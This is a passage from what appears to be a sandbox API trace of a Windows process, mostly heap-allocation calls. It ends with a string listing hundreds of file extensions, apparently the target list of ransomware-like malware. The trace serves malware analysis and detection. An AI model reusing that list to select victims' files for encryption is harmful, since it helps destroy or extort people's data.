Size=0x8) returned 0x8b55c0 [0188.201] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4e90 [0188.205] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b55c0, Size=0x10) returned 0x8b55c0 [0188.205] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ea8 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ec0 [0188.206] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b55c0, Size=0x20) returned 0x8b55c0 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ed8 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9470 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4ef0 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4f08 [0188.206] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b55c0, Size=0x40) returned 0x894a38 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4f20 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4f38 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4f50 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4f68 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4f80 [0188.206] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4f98 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9480 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4fb0 [0188.207] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894a38, Size=0x80) returned 0x8b9a70 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4fc8 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4fe0 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ff8 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b5010 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdee8 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fdf00 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdf18 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9490 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdf30 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdf48 [0188.207] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fdf60 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdf78 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fdf90 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdfa8 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fdfc0 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdfd8 [0188.208] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9a70, Size=0x100) returned 0x8b9a70 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fdff0 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe008 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe020 [0188.208] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe038 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe050 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe068 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b94a0 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe080 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe098 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0b0 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8b94b0 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0c8 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0e0 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b94c0 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0f8 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe110 [0188.209] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe128 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe140 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe158 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe170 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8fe188 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe1a0 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe1b8 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe1d0 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe1e8 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe200 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe218 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b94d0 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe230 [0188.210] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe248 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe260 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe278 [0188.211] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9a70, Size=0x200) returned 0x8b9a70 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe290 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b94e0 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2a8 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2e8 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe300 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe318 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe330 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe348 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe360 [0188.211] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe378 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe390 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe3a8 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe3c0 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe3d8 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe3f0 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe408 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe420 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe438 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe450 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe468 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe480 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe498 [0188.212] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4b0 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b94f0 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4c8 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4e0 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4f8 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9500 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe510 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe528 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe540 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe558 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe570 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe588 [0188.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5a0 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5b8 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe5d0 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe5e8 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe600 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe618 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe630 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe648 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe660 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe678 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe690 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe6a8 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe6e8 [0188.214] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe700 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe718 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9510 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8b9520 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe730 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe748 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe760 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe778 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe790 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe7a8 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7c0 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7d8 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7f0 [0188.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe808 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe820 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe838 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe850 [0188.216] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9a70, Size=0x400) returned 0x8fead0 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe868 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe880 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe898 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe8b0 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe8c8 [0188.216] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe8e0 [0188.526] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fea18 [0188.526] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fea30 [0188.526] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fea48 [0188.526] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fea60 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9560 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fea78 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fea90 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8feaa8 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef580 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef598 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef5b0 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8ef5c8 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef5e0 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef5f8 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef610 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef628 [0188.527] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef640 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef658 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef670 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef688 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9570 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef6a0 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef6b8 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef6d0 [0188.528] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef6e8 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef700 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef718 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef730 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef748 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef760 [0188.529] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8ef778 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef790 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8ef7a8 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef7c0 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef7d8 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef7f0 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef808 [0188.530] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef820 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ef838 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef850 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef868 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef880 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef898 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef8b0 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef8c8 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef8e0 [0188.531] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef8f8 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef910 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef928 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef940 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef980 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef998 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef9b0 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef9c8 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef9e0 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ef9f8 [0188.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8efa10 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12) returned 0x8b6318 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efa28 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efa40 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efa58 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efa70 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efa88 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efaa0 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efab8 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efad0 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efae8 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb00 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb18 [0188.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb30 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb48 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb60 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb78 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efb90 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efba8 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efbc0 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efbd8 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efbf0 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efc08 [0188.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efc20 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efc38 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8efc50 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efc68 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9580 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efc80 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9590 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efc98 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efcb0 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efcc8 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efce0 [0188.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efcf8 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efd10 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efd28 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efd40 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efd80 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efd98 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efdb0 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efdc8 [0188.536] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8efde0 [0188.537] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efdf8 [0188.537] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b95a0 [0188.537] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efe10 [0188.537] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8efe28 [0188.537] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fead0, Size=0x800) returned 0x8f0168 [0188.537] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 